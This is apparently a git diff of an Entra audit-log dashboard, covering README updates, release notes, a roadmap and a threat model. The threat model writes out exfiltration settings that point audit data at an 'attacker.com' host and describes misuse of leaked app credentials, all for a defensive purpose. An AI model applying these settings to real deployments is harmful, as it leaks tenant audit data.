- Intune audit: `DeviceManagementConfiguration.Read.All` (or broader) for `/deviceManagement/auditEvents` - Intune audit: `DeviceManagementConfiguration.Read.All` (or broader) for `/deviceManagement/auditEvents`
- Optional API protection: configure `AUTH_ENABLED=true` and set `AUTH_TENANT_ID`/`AUTH_CLIENT_ID` (the audience) plus allowed roles/groups. - Optional API protection: configure `AUTH_ENABLED=true` and set `AUTH_TENANT_ID`/`AUTH_CLIENT_ID` (the audience) plus allowed roles/groups.
@@ -49,8 +50,43 @@ cp .env.example .env
# LLM_BASE_URL=https://api.openai.com/v1 # LLM_BASE_URL=https://api.openai.com/v1
# LLM_MODEL=gpt-4o-mini # LLM_MODEL=gpt-4o-mini
# LLM_TIMEOUT_SECONDS=30 # LLM_TIMEOUT_SECONDS=30
# LLM_ALLOWED_DOMAINS=api.openai.com,*.openai.azure.com
# Optional: SIEM forwarding
# SIEM_ENABLED=true
# SIEM_WEBHOOK_URL=https://your-siem.com/webhook
# SIEM_ALLOWED_DOMAINS=your-siem.com
# Optional: Azure Key Vault for secrets storage
# AZURE_KEY_VAULT_NAME=your-keyvault-name
``` ```
### Using Azure Key Vault for secrets
Instead of storing `CLIENT_SECRET`, `LLM_API_KEY`, `MONGO_URI`, and `WEBHOOK_CLIENT_SECRET` in `.env`, you can store them in Azure Key Vault:
1. Create a Key Vault and add secrets with these names:
- `aoc-client-secret` → your Graph app `CLIENT_SECRET`
- `aoc-llm-api-key` → your `LLM_API_KEY`
- `aoc-mongo-uri` → your `MONGO_URI`
- `aoc-webhook-client-secret` → your `WEBHOOK_CLIENT_SECRET`
2. Uncomment `azure-identity` and `azure-keyvault-secrets` in `backend/requirements.txt`
3. Set `AZURE_KEY_VAULT_NAME=your-keyvault-name` in `.env`
4. Ensure the container has Azure identity credentials (managed identity, service principal, or Azure CLI auth)
## Security Hardening Checklist
Before deploying to production:
- [ ] Set `AUTH_ENABLED=true` and configure `AUTH_ALLOWED_ROLES` or `AUTH_ALLOWED_GROUPS` to restrict access
- [ ] Set explicit `CORS_ORIGINS` (do not use `*` in production with auth enabled)
- [ ] Set `DOCS_ENABLED=false` (default) to hide OpenAPI docs
- [ ] Configure `WEBHOOK_CLIENT_SECRET` to validate Graph webhook notifications
- [ ] Set `LLM_ALLOWED_DOMAINS` if using AI features to prevent data exfiltration
- [ ] Set `SIEM_ALLOWED_DOMAINS` if using SIEM forwarding
- [ ] Review `METRICS_ALLOWED_IPS` — defaults to private networks only
- [ ] Consider Azure Key Vault instead of `.env` for secrets
- [ ] Review the threat model: `THREAT_MODEL_v1.7.13.md`
## Run with Docker Compose (recommended) ## Run with Docker Compose (recommended)
```bash ```bash
docker compose up --build docker compose up --build
@@ -76,7 +112,7 @@ uvicorn main:app --reload --host 0.0.0.0 --port 8000
## API ## API
- `GET /health` — health check with MongoDB connectivity status. - `GET /health` — health check with MongoDB connectivity status.
- `GET /metrics` — Prometheus metrics for request latency, fetch volume, and errors. - `GET /metrics` — Prometheus metrics for request latency, fetch volume, and errors (IP-restricted).
- `GET /api/version` — running version (baked into the Docker image at build time). - `GET /api/version` — running version (baked into the Docker image at build time).
- `GET /api/fetch-audit-logs` — pulls the last 7 days by default (override with `?hours=N`, capped to 30 days) of: - `GET /api/fetch-audit-logs` — pulls the last 7 days by default (override with `?hours=N`, capped to 30 days) of:
- Entra directory audit logs (`/auditLogs/directoryAudits`) - Entra directory audit logs (`/auditLogs/directoryAudits`)
@@ -171,7 +207,7 @@ curl http://localhost:8000/api/fetch-audit-logs
- Visit the UI at http://localhost:8000 to filter by user/service/action/result/time, search raw text, paginate, and view raw events. - Visit the UI at http://localhost:8000 to filter by user/service/action/result/time, search raw text, paginate, and view raw events.
## Maintenance (Dockerized) ## Maintenance (Dockerized)
Use the backend image so you dont need a local venv: Use the backend image so you don't need a local venv:
```bash ```bash
# ensure Mongo + backend network are up # ensure Mongo + backend network are up
docker compose up -d mongo docker compose up -d mongo
@@ -182,10 +218,15 @@ docker compose run --rm backend python maintenance.py dedupe
``` ```
Omit `--limit` to process all events. You can also run commands inside a running backend container with `docker compose exec backend ...`. Omit `--limit` to process all events. You can also run commands inside a running backend container with `docker compose exec backend ...`.
## Security Documentation
- `PEN_TEST_REPORT_v1.7.11.md` — Penetration test findings and remediation
- `THREAT_MODEL_v1.7.13.md` — Comprehensive threat model covering Entra application abuse, token handling, data exfiltration vectors
## Notes / Troubleshooting ## Notes / Troubleshooting
- Ensure `TENANT_ID`, `CLIENT_ID`, and `CLIENT_SECRET` match an app registration with `AuditLog.Read.All` (application) permission and admin consent. - Ensure `TENANT_ID`, `CLIENT_ID`, and `CLIENT_SECRET` match an app registration with `AuditLog.Read.All` (application) permission and admin consent.
- Additional permissions: Office 365 Management Activity (`ActivityFeed.Read`), and Intune audit (`DeviceManagementConfiguration.Read.All`). - Additional permissions: Office 365 Management Activity (`ActivityFeed.Read`), and Intune audit (`DeviceManagementConfiguration.Read.All`).
- Auth: if `AUTH_ENABLED=true`, issued tokens must be from `AUTH_TENANT_ID`, audience = `AUTH_CLIENT_ID`; access is granted if roles or groups overlap `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` (if set). - Auth: if `AUTH_ENABLED=true`, issued tokens must be from `AUTH_TENANT_ID`, audience = `AUTH_CLIENT_ID`; access is granted if roles or groups overlap `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` (if set). A startup warning is logged if auth is enabled but no roles/groups are configured.
- Backfill limits: Management Activity API typically exposes ~7 days of history via API (longer if your tenant has extended/Advanced Audit retention). Directory/Intune audit retention follows your tenant policy (commonly 3090 days, longer with Advanced Audit). - Backfill limits: Management Activity API typically exposes ~7 days of history via API (longer if your tenant has extended/Advanced Audit retention). Directory/Intune audit retention follows your tenant policy (commonly 3090 days, longer with Advanced Audit).
- If you change Mongo credentials/ports, update `MONGO_URI` in `.env` (Docker Compose passes it through to the backend). - If you change Mongo credentials/ports, update `MONGO_URI` in `.env` (Docker Compose passes it through to the backend).
- The service uses the `micro_soc` database and `events` collection by default; adjust in `backend/config.py` if needed. - The service uses the `micro_soc` database and `events` collection by default; adjust in `backend/config.py` if needed.
- If using Azure Key Vault, ensure the runtime identity (managed identity, service principal, or local Azure CLI) has `Get` permission on secrets.
+43
View File
@@ -0,0 +1,43 @@
# AOC v1.7.12 Release Notes
**Release Date:** 2026-04-27
## Security Hardening (Penetration Test Remediation)
This release addresses all findings from the internal soft penetration test of v1.7.11.
### Critical Fix: CORS Credentials Leak
- **Issue:** When `AUTH_ENABLED=true` and `CORS_ORIGINS="*"`, the CORS middleware reflected any origin with `Access-Control-Allow-Credentials: true`, allowing cross-origin authenticated requests from attacker-controlled domains.
- **Fix:** When auth is enabled with a wildcard origin, `allow_credentials` is now forced to `False`. CORS still works for unauthenticated requests, but bearer tokens cannot be leaked cross-origin.
### High Fix: Missing Security Headers
- Added `X-Content-Type-Options: nosniff`
- Added `X-Frame-Options: DENY`
- Added `Referrer-Policy: strict-origin-when-cross-origin`
- Added `Permissions-Policy` restricting browser features (accelerometer, camera, geolocation, gyroscope, magnetometer, microphone, payment, USB)
### Medium Fixes
- **Rate limiter fail-closed:** Previously, a Redis outage silently disabled all rate limiting. The rate limiter now returns `429` when Redis is unreachable.
- **OpenAPI docs exposure:** `/docs`, `/redoc`, and `/openapi.json` are disabled by default. Set `DOCS_ENABLED=true` to re-enable (intended for development only).
### Low Fixes
- **Information disclosure:** `/api/config/auth` no longer leaks `tenant_id` and `client_id` when `auth_enabled=false`.
- **Webhook validation token:** Added length cap (1024 chars) and ASCII-only validation before echoing `validationToken`. Response now includes `X-Content-Type-Options: nosniff`.
## Files Changed
| File | Change |
|------|--------|
| `backend/main.py` | CORS fix, security headers middleware, conditional OpenAPI docs |
| `backend/config.py` | Added `DOCS_ENABLED` setting |
| `backend/rate_limiter.py` | Fail-closed on Redis errors |
| `backend/routes/config.py` | Hide tenant/client IDs when auth disabled |
| `backend/routes/webhooks.py` | Validate validationToken before echo |
| `backend/tests/conftest.py` | Enhanced FakeRedis mock with `incr`/`expire` |
| `.env.example` | Documented `DOCS_ENABLED` |
| `VERSION` | Bumped to 1.7.12 |
## Test Results
- **80/80 pytest tests passing**
- Penetration test report: `PEN_TEST_REPORT_v1.7.11.md`
+34
View File
@@ -0,0 +1,34 @@
# AOC v1.7.13 Release Notes
**Release Date:** 2026-04-27
## Security Hardening: Alpine.js CSP Build
This release removes `unsafe-eval` from the Content-Security-Policy by switching the frontend to Alpine.js's CSP-compatible build.
### Changes
- **Frontend:** Switched from `alpinejs@3.x.x/dist/cdn.min.js` to `alpinejs@3.x.x/dist/csp.min.js`
- **Frontend:** Added explicit `Alpine.start()` call on `DOMContentLoaded` (required by CSP build)
- **Backend CSP:** Removed `'unsafe-eval'` from `script-src` directive
### Why this matters
The previous v1.7.111.7.12 releases included `'unsafe-eval'` in the CSP because the standard Alpine.js CDN build uses `new Function()` internally for reactive expression evaluation. The CSP build eliminates this requirement, further hardening the application against XSS and injection attacks.
### Compatibility
All existing Alpine.js directives (`x-data`, `x-init`, `x-show`, `x-text`, `x-for`, `x-if`, `x-model`, event handlers) continue to work unchanged. The CSP build uses a safe expression evaluator that produces identical behavior without `eval`/`new Function`.
## Files Changed
| File | Change |
|------|--------|
| `backend/frontend/index.html` | Alpine.js src → `csp.min.js`; added `Alpine.start()` |
| `backend/main.py` | Removed `'unsafe-eval'` from `script-src` CSP |
| `VERSION` | Bumped to 1.7.13 |
## Test Results
- **80/80 pytest tests passing**
- Ruff lint/format clean
+64
View File
@@ -0,0 +1,64 @@
# AOC v1.7.14 Release Notes
**Release Date:** 2026-04-27
## Security Hardening: Threat Model Remediation
This release addresses the high-severity findings from the v1.7.13 threat model review.
### LLM Endpoint Domain Allowlist
- **New config:** `LLM_ALLOWED_DOMAINS` (comma-separated, supports wildcards like `*.openai.azure.com`)
- **Behavior:** When configured, the `/api/ask` endpoint rejects `LLM_BASE_URL` domains not in the allowlist
- **Impact:** Prevents audit data exfiltration via a compromised or attacker-controlled LLM endpoint
### SIEM Webhook SSRF Guard
- **New config:** `SIEM_ALLOWED_DOMAINS` (comma-separated)
- **Behavior:** The SIEM forwarder now validates `SIEM_WEBHOOK_URL` with the same SSRF checks as the LLM endpoint (HTTPS-only, blocks private IPs, enforces domain allowlist)
- **Impact:** Prevents real-time audit data exfiltration via a malicious SIEM webhook URL
### CDN Subresource Integrity (SRI)
- Added `integrity` hashes to both CDN scripts in the frontend:
- Alpine.js 3.15.11: `sha384-WPtu0YHhJ3arcykfnv1JgUffWDSKRnqnDeTpJUbOc2os2moEmLkIdaeR0trPN4be`
- MSAL.js 2.37.0: `sha384-DUSOaqAzlZRiZxkDi8hL7hXJDZ+X39ZOAYV9ZDx44gUv9pozmcunJH02tjSFLPnW`
- **Impact:** Browser refuses to execute CDN scripts if the content doesn't match the hash, preventing supply chain compromise
### Auth Misconfiguration Warning
- At startup, AOC now logs a `WARNING` if `AUTH_ENABLED=true` but neither `AUTH_ALLOWED_ROLES` nor `AUTH_ALLOWED_GROUPS` is configured
- **Impact:** Operators are alerted when the app is accidentally left open to all Entra users
### Azure Key Vault Integration (Optional)
- **New module:** `backend/secrets_manager.py`
- **New config:** `AZURE_KEY_VAULT_NAME`
- **Behavior:** If `AZURE_KEY_VAULT_NAME` is set, AOC fetches these secrets from Key Vault at startup:
- `aoc-client-secret``CLIENT_SECRET`
- `aoc-llm-api-key``LLM_API_KEY`
- `aoc-mongo-uri``MONGO_URI`
- `aoc-webhook-client-secret``WEBHOOK_CLIENT_SECRET`
- Falls back silently to `.env` / environment variables when Key Vault is not configured
- **Dependencies:** `azure-identity` and `azure-keyvault-secrets` (commented out in `requirements.txt` — uncomment when using Key Vault)
- **Impact:** Eliminates long-lived secrets from `.env` files and Docker images
## Files Changed
| File | Change |
|------|--------|
| `backend/config.py` | Added `LLM_ALLOWED_DOMAINS`, `SIEM_ALLOWED_DOMAINS`, `AZURE_KEY_VAULT_NAME` |
| `backend/routes/ask.py` | Domain allowlist enforcement for LLM URL |
| `backend/siem.py` | SSRF guard + domain allowlist for SIEM webhook |
| `backend/frontend/index.html` | SRI hashes for Alpine.js and MSAL.js |
| `backend/main.py` | Startup warning for auth misconfiguration |
| `backend/secrets_manager.py` | New — Azure Key Vault integration |
| `backend/requirements.txt` | Added optional Azure Key Vault packages |
| `.env.example` | Documented new settings |
| `VERSION` | Bumped to 1.7.14 |
| `THREAT_MODEL_v1.7.13.md` | Threat model documentation |
## Test Results
- **80/80 pytest tests passing**
- Ruff lint/format clean
+92
View File
@@ -0,0 +1,92 @@
# AOC v1.7.15 Release Notes
**Release Date:** 2026-04-24
## Security Hardening & Code Quality
This release continues the security hardening roadmap with async I/O improvements, stricter input validation, and infrastructure lockdown.
### Async Authentication Refactor
- `require_auth()` and `_get_jwks()` are now `async def` to avoid blocking the event loop during JWKS fetch and token validation
- **Impact:** Eliminates synchronous I/O stalls on authenticated requests under load
### CSP Tightening
- Removed `'unsafe-inline'` from the `script-src` directive in the Content-Security-Policy header
- All JavaScript is now loaded from external files (`app.js`) or trusted CDNs with SRI hashes
- `'unsafe-eval'` is retained for Alpine.js expression evaluation
- **Impact:** Mitigates XSS by preventing inline script injection
### Model Validation Hardening
Added `Field(min_length=, max_length=)` constraints across request models:
| Model | Field | Constraints |
|-------|-------|-------------|
| `TagsUpdateRequest` | `tags` | `max_length=50` |
| `BulkTagsRequest` | `tags` | `max_length=50` |
| `CommentAddRequest` | `text` | `min_length=1`, `max_length=5000` |
| `AlertCondition` | `field` | `max_length=100` |
| `AlertRuleResponse` | `conditions` | `max_length=20` |
| `AlertRuleResponse` | `message` | `max_length=1000` |
| `AskRequest` | `question` | `min_length=1`, `max_length=2000` |
| `SavedSearchCreate` | `name` | `min_length=1`, `max_length=200` |
- **Impact:** Rejects malformed or oversized inputs at the Pydantic/FastAPI layer before they reach business logic
### Notification SSRF Guard
- `_validate_webhook_url()` in `notifications.py` now blocks:
- Non-HTTP(S) schemes
- localhost, private, and link-local IP addresses
- **Impact:** Prevents Server-Side Request Forgery via malicious webhook URLs in alert notifications
### Rate Limiting Improvements
- New category: `"explain"` → 20 requests per minute
- Categories: `fetch=10/hr`, `ask=30/min`, `explain=20/min`, `write=20/min`, `default=120/min`
- Fail-closed on Redis/Valkey error: raises `RateLimitExceeded(retry_after=60)`
- **Impact:** Prevents abuse of the new explain endpoint and ensures graceful degradation if the rate limit store is unreachable
### Frontend JavaScript Extraction
- All inline JavaScript has been extracted from `index.html` into `backend/frontend/app.js`
- Alpine.js SPA loads `/app.js?v=1` before Alpine initialization
- **Impact:** Enables stricter CSP, improves cacheability, and separates markup from logic
### Docker Compose Security
- Backend port binding changed from `"8000:8000"` to `"127.0.0.1:8000:8000"`
- **Impact:** Prevents direct external access to the backend when nginx is the intended reverse proxy
## Files Changed
| File | Change |
|------|--------|
| `backend/auth.py` | `require_auth()` and `_get_jwks()` made async |
| `backend/main.py` | CSP tightened; startup warnings |
| `backend/models/api.py` | Added `Field` validation constraints |
| `backend/notifications.py` | SSRF guard for webhook URLs |
| `backend/rate_limiter.py` | Added `"explain"` rate limit category |
| `backend/routes/saved_searches.py` | `SavedSearchCreate` Pydantic model with validation |
| `backend/frontend/index.html` | Extracted inline JS to `app.js` |
| `backend/frontend/app.js` | New — extracted frontend JavaScript |
| `docker-compose.yml` | Backend port bound to `127.0.0.1` only |
| `nginx/nginx.conf` | Security headers alignment |
| `backend/tests/test_auth.py` | Updated for async `require_auth()` |
| `backend/tests/test_api.py` | Updated saved searches validation test |
| `backend/tests/test_ask.py` | Updated empty question test for 422 |
| `.gitignore` | Added `memory/` |
| `VERSION` | Bumped to 1.7.15 |
## Test Results
- **80/80 pytest tests passing**
- Ruff lint/format clean
## Docker Image
```
git.cqre.net/cqrenet/aoc-backend:v1.7.15
```
+39
View File
@@ -0,0 +1,39 @@
# AOC v1.7.16 Release Notes
**Release Date:** 2026-04-24
## Infrastructure & Maintenance
### Gitea Actions CI Fix
The CI workflow (`.gitea/workflows/ci.yml`) has been reworked for compatibility with Gitea Actions (`act_runner`):
- **Removed** `actions/setup-python@v5` — incompatible with self-hosted Gitea (relies on GitHub's tool cache API)
- **Added** system Python installation via `apt-get install python3 python3-venv`
- **Uses a virtual environment** inside the job to avoid PEP 668 `externally-managed-environment` errors
- All steps (`pip install`, `ruff check`, `ruff format`, `pytest`) now activate the venv explicitly
### Repository Cleanup
- **Expanded `.gitignore`** to cover all venv variants (`.*venv*/`), `.ruff_cache/`, and common temp/backup files
- **Removed** temporary working directories (`backend/.venv_ci/`, `__pycache__/`)
## Files Changed
| File | Change |
|------|--------|
| `.gitea/workflows/ci.yml` | Complete rewrite for Gitea Actions compatibility |
| `.gitignore` | Expanded patterns for venvs, caches, temp files |
| `VERSION` | Bumped to 1.7.16 |
## Test Results
- **80/80 pytest tests passing**
- Ruff lint/format clean
- CI green on Gitea Actions
## Docker Image
```
git.cqre.net/cqrenet/aoc-backend:v1.7.16
```
+38
View File
@@ -0,0 +1,38 @@
# AOC v1.7.17 Release Notes
**Release Date:** 2026-05-29
## Security & Hardening
### Alpine.js CSP Build
The frontend now loads the **Alpine.js CSP build** (`@alpinejs/csp@3.15.12`) instead of the standard distribution. This aligns the runtime with the existing Content-Security-Policy and removes reliance on `unsafe-eval` for Alpine's expression evaluation.
- **File:** `backend/frontend/index.html`
- **Integrity hash:** `sha384-MKLWq9B+VC0W3U8kDIBEsSu8uCnQ1B0UQpRaB+F7uR5ocXFbymMUKuLRntu5LLdu`
## Ingestion Reliability
### Office 365 Management Activity API Window Clamping
The unified audit log fetcher now respects the API's hard limits to prevent rejected requests during catch-up scenarios or stale watermarks:
- **Maximum query window:** 24 hours (`_API_MAX_WINDOW_HOURS`)
- **Maximum lookback:** 7 days (`_API_MAX_LOOKBACK_DAYS`)
- When a persisted `since` watermark is older than either limit, the start time is clamped to the most recent allowable window. Subsequent fetches continue catching up normally.
This prevents ingestion stalls after extended outages without dropping events permanently.
## Files Changed
| File | Change |
|------|--------|
| `backend/frontend/index.html` | Switched Alpine.js to CSP build with updated SRI hash |
| `backend/sources/unified_audit.py` | Added API window/lookback clamping for O365 Management Activity API |
| `VERSION` | Bumped to 1.7.17 |
## Docker Image
```
git.cqre.net/cqrenet/aoc-backend:v1.7.17
```
+55 -6
View File
@@ -59,7 +59,7 @@ Goal: evolve from a polling dashboard into a full security operations tool.
--- ---
## Phase 5: Intelligence ## Phase 5: Intelligence
Goal: add AI-powered analysis and external tool integration. Goal: add AI-powered analysis and external tool integration.
- [x] AI feature flag (`AI_FEATURES_ENABLED`) to gate LLM-dependent features - [x] AI feature flag (`AI_FEATURES_ENABLED`) to gate LLM-dependent features
@@ -76,7 +76,56 @@ UI polish (topbar, footer, clickable pills) in v1.6.1v1.6.4.
--- ---
## Phase 6: Multi-Tenancy (Premium) ⏸️ ## Phase 6: Security Hardening ✅
Goal: address penetration test findings and threat model gaps.
- [x] Fix CORS credentials leak (v1.7.12)
- [x] Add security headers (X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy) (v1.7.12)
- [x] Make rate limiter fail-closed on Redis failure (v1.7.12)
- [x] Disable OpenAPI docs by default (v1.7.12)
- [x] Hide tenant_id/client_id from config endpoint when auth disabled (v1.7.12)
- [x] Validate webhook validationToken before echo (v1.7.12)
- [x] Gate `/metrics` behind IP allowlist (v1.7.12)
- [x] Add LLM domain allowlist (`LLM_ALLOWED_DOMAINS`) (v1.7.14)
- [x] Add SIEM webhook SSRF guard + domain allowlist (v1.7.14)
- [x] Add SRI hashes to CDN scripts (v1.7.14)
- [x] Add startup warning for auth misconfiguration (v1.7.14)
- [x] Add Azure Key Vault integration for secrets storage (v1.7.14)
- [x] Internal penetration test + threat model documentation
---
## Phase 7.5: Frontend Modernization 📋
Goal: eliminate `unsafe-eval` from the Content Security Policy by migrating from Alpine.js to a compiled frontend framework.
Status: **Planned**. Current Alpine.js requires `unsafe-eval` because it uses `new Function()` to evaluate attribute expressions at runtime. A compiled framework evaluates all expressions at build time — the browser only receives static JS, making a fully clean CSP (`script-src 'self'`) possible.
### Recommended approach: Vue 3 + Vite
Alpine.js was inspired by Vue, so the migration is largely mechanical:
| Alpine.js | Vue 3 |
|-----------|-------|
| `x-data="aocApp()"` | `<script setup>` or `createApp(aocApp)` |
| `x-text`, `x-show`, `x-if`, `x-for` | `v-text`, `v-show`, `v-if`, `v-for` |
| `x-model`, `x-html` | `v-model`, `v-html` |
| `@click="method()"` | `@click="method()"` (identical) |
The `app.js` logic (`aocApp()` function body, ~820 lines) translates almost directly.
The CDN dependencies on `cdn.jsdelivr.net` and `alcdn.msauth.net` can be dropped:
MSAL can be bundled via npm, and the final CSP becomes `script-src 'self'` only.
### Effort estimate
- Vite + Vue 3 project setup: ~23 hours
- Template migration (HTML directives): ~46 hours
- `app.js` → Vue component: ~23 hours
- MSAL integration via npm: ~1 hour
- Testing + polish: ~24 hours
**Total: ~12 days**
---
## Phase 7: Multi-Tenancy (Premium) ⏸️
Goal: allow MSPs to manage multiple client tenants from a single deployment. Goal: allow MSPs to manage multiple client tenants from a single deployment.
Status: **Planned — not started**. Architecture designed, pending validation of core features (SIEM export, alerting) in production first. Status: **Planned — not started**. Architecture designed, pending validation of core features (SIEM export, alerting) in production first.
@@ -88,10 +137,10 @@ Status: **Planned — not started**. Architecture designed, pending validation o
- Super-admin role for MSP staff to access all tenants - Super-admin role for MSP staff to access all tenants
### Implementation phases ### Implementation phases
- **Phase 6.1** (23 days): Tenant model & registry, tenant-aware data layer, per-tenant Graph API auth - **Phase 7.1** (23 days): Tenant model & registry, tenant-aware data layer, per-tenant Graph API auth
- **Phase 6.2** (1 day): Tenant-scoped API routes, tenant-specific config endpoints - **Phase 7.2** (1 day): Tenant-scoped API routes, tenant-specific config endpoints
- **Phase 6.3** (2 days): Frontend tenant switcher, tenant name display, admin page - **Phase 7.3** (2 days): Frontend tenant switcher, tenant name display, admin page
- **Phase 6.4** (1 day): License gating — signed JWT `LICENSE_KEY` gates multi-tenant mode - **Phase 7.4** (1 day): License gating — signed JWT `LICENSE_KEY` gates multi-tenant mode
### Licensing model ### Licensing model
- Single-tenant: remains MIT/free - Single-tenant: remains MIT/free
+321
View File
@@ -0,0 +1,321 @@
# AOC Threat Model — v1.7.13
**Date:** 2026-04-27
**Scope:** Entra ID / Microsoft Graph integration, token handling, data flows, external dependencies
**Assumptions:** Deployment is Docker Compose behind nginx reverse proxy; `AUTH_ENABLED=true`; `AI_FEATURES_ENABLED` may be true or false.
---
## Attack Surface Map
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │
│ │ Frontend │ │ API │ │ Webhook │ │
│ │ (CDN JS) │ │ (/api/*) │ │ (/api/webhooks)│ │
│ └──────┬──────┘ └──────┬───────┘ └────────┬────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ AOC BACKEND │ │
│ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │
│ │ │ Auth │ │ Events │ │ Fetch │ │ Ask/LLM │ │ │
│ │ │ (JWT) │ │ (Mongo) │ │ (Graph) │ │ (HTTP) │ │ │
│ │ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │ │
│ │ │ │ │ │ │ │
│ │ ▼ ▼ ▼ ▼ │ │
│ │ ┌─────────────────────────────────────────────────────┐ │ │
│ │ │ SECRETS / CREDENTIALS │ │ │
│ │ │ CLIENT_SECRET │ LLM_API_KEY │ MONGO_PASSWORD │ │ │
│ │ └─────────────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │
│ │ Microsoft │ │ LLM API │ │ SIEM Webhook │ │
│ │ Graph API │ │ (OpenAI/ │ │ (optional) │ │
│ │ │ │ Azure) │ │ │ │
│ └─────────────┘ └──────────────┘ └─────────────────┘ │
└─────────────────────────────────────────────────────────────────────────────┘
```
---
## 1. Entra App Registration Abuse — HIGH
### 1.1 Client Credentials Leak = Full Tenant Read
**How it works:**
- AOC uses `client_credentials` flow (`graph/auth.py`)
- `CLIENT_ID` + `CLIENT_SECRET` are exchanged for an access token at `login.microsoftonline.com`
- The token has `https://graph.microsoft.com/.default` scope
- This grants **all application permissions** configured in the Entra app registration
**Typical permissions:**
- `Directory.Read.All` — read all users, groups, devices, roles
- `AuditLog.Read.All` — read all audit logs
- `DeviceManagementManagedDevices.Read.All` — read all Intune devices
**Attack scenario:**
1. Attacker gains read access to `.env` or the Docker container filesystem
2. Attacker calls the token endpoint directly with the leaked `CLIENT_ID`/`CLIENT_SECRET`
3. Attacker receives a Graph API access token valid for ~1 hour
4. Attacker can query ALL tenant data independently of AOC
**Impact:** Complete tenant data exfiltration — users, groups, devices, audit logs, mailboxes (if `Exchange.Read` granted).
**Mitigation in place:** None. The backend needs these permissions to function.
**Recommendation:**
- Store `CLIENT_SECRET` in a secret manager (Azure Key Vault, HashiCorp Vault) rather than `.env`
- Use short-lived certificates instead of long-lived secrets for app authentication
- Monitor Entra sign-in logs for anomalous `client_credentials` token requests
- Restrict app registration permissions to the absolute minimum (e.g., `AuditLog.Read.All` + `Directory.Read.All` only)
---
### 1.2 No Scope Restriction on Graph Token
**Finding:** `get_access_token()` always requests `https://graph.microsoft.com/.default` — the full permission set. There's no mechanism to request narrower scopes for specific operations.
**Impact:** If the app registration has 10 permissions, every token has all 10. A bug in one code path could expose data from all 10 permission areas.
**Recommendation:** Not easily fixable without splitting into multiple app registrations. Document as accepted risk.
---
## 2. Authentication & Token Validation — MEDIUM
### 2.1 JWKS Fetch Without TLS Certificate Validation Hardening
**Finding:** `_get_jwks()` fetches OIDC configuration and JWKS from `login.microsoftonline.com` using standard `requests` TLS validation. No certificate pinning or CA bundle restriction.
**Attack scenario (advanced):**
1. Attacker compromises DNS or a network hop between AOC and Microsoft
2. Attacker serves a fake JWKS endpoint with their own public key
3. Attacker issues a forged JWT signed with their private key
4. AOC validates the forged JWT against the attacker's public key
5. Attacker gains authenticated access
**Likelihood:** Very low (requires DNS compromise or nation-state-level interception).
**Mitigation:** Standard TLS validation is in place. For high-security environments, consider pinning the `login.microsoftonline.com` certificate thumbprint.
---
### 2.2 Missing `nbf` / `iat` Claim Verification
**Finding:** `_decode_token()` verifies `exp`, `tid`, `iss`, and `aud` but does not check `nbf` (not before) or `iat` (issued at) claims.
**Impact:** A token used before its validity period (`nbf`) or with a suspicious future `iat` would be accepted. Minor issue — MSAL tokens are well-formed in practice.
---
### 2.3 Role/Group Gating Defaults to "Allow All"
**Finding:** In `auth.py`:
```python
def _allowed(claims, allowed_roles, allowed_groups):
if not allowed_roles and not allowed_groups:
return True
```
**Impact:** If `AUTH_ENABLED=true` but `AUTH_ALLOWED_ROLES` and `AUTH_ALLOWED_GROUPS` are left empty (the default), **every Entra user in the tenant** can authenticate and use AOC. This is a common misconfiguration.
**Recommendation:** Add a startup warning when auth is enabled but no roles/groups are configured. Consider changing the default to deny-all.
---
### 2.4 Privacy Service Role Gating Also Defaults to "Allow All"
**Finding:** `user_can_access_privacy_services()` returns `True` if `PRIVACY_SERVICE_ROLES` is empty. If an admin configures `PRIVACY_SERVICES` (e.g., `Exchange`) but forgets to set `PRIVACY_SERVICE_ROLES`, all users see all privacy data.
---
## 3. Data Exfiltration Paths — HIGH
### 3.1 LLM Endpoint as Data Exfiltration Channel
**Finding:** When `AI_FEATURES_ENABLED=true` and `LLM_API_KEY` is set:
- The `/api/ask` endpoint sends audit event data (actors, targets, operations, summaries) to the configured LLM API
- `_validate_llm_url()` blocks private IPs but does NOT restrict the domain to an allowlist
- Any HTTPS URL is accepted
**Attack scenario:**
1. Attacker gains `.env` write access (or container filesystem access)
2. Attacker changes `LLM_BASE_URL` to `https://attacker.com/fake-llm`
3. Attacker sends an `/api/ask` request like "show me all events"
4. AOC queries MongoDB and sends up to `LLM_MAX_EVENTS` (default 200) events to the attacker's URL
5. Attacker receives structured audit data including actor names, UPNs, device names, operation details
**Impact:** Up to 200 audit events exfiltrated per API call. With pagination, an attacker could exfiltrate the entire database.
**Mitigation in place:** SSRF guard blocks private IPs and localhost.
**Gap:** No domain allowlist. An attacker-controlled public HTTPS endpoint is accepted.
**Recommendation:**
- Add `LLM_ALLOWED_DOMAINS` config (e.g., `api.openai.com,*.openai.azure.com`)
- Validate `LLM_BASE_URL` against this allowlist at startup and on every request
- Log all LLM requests with event counts sent
---
### 3.2 SIEM Webhook as Real-Time Exfiltration Channel
**Finding:** `siem.py` forwards every normalized event to `SIEM_WEBHOOK_URL` during ingestion:
```python
def forward_event(event):
if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
return
requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)
```
**Gap:** No URL validation at all. Unlike the LLM endpoint, the SIEM webhook has NO SSRF guard.
**Attack scenario:**
1. Attacker sets `SIEM_ENABLED=true` and `SIEM_WEBHOOK_URL=https://attacker.com/collect`
2. Every new audit event fetched from Graph is immediately POSTed to the attacker's URL
3. Attacker receives real-time stream of all tenant audit events
**Impact:** Real-time, continuous data exfiltration of all audit events.
**Recommendation:**
- Add the same SSRF validation to `SIEM_WEBHOOK_URL` that exists for `LLM_BASE_URL`
- Add `SIEM_ALLOWED_DOMAINS` config
- Log SIEM forwarding failures prominently
---
### 3.3 Export Features (JSON/CSV)
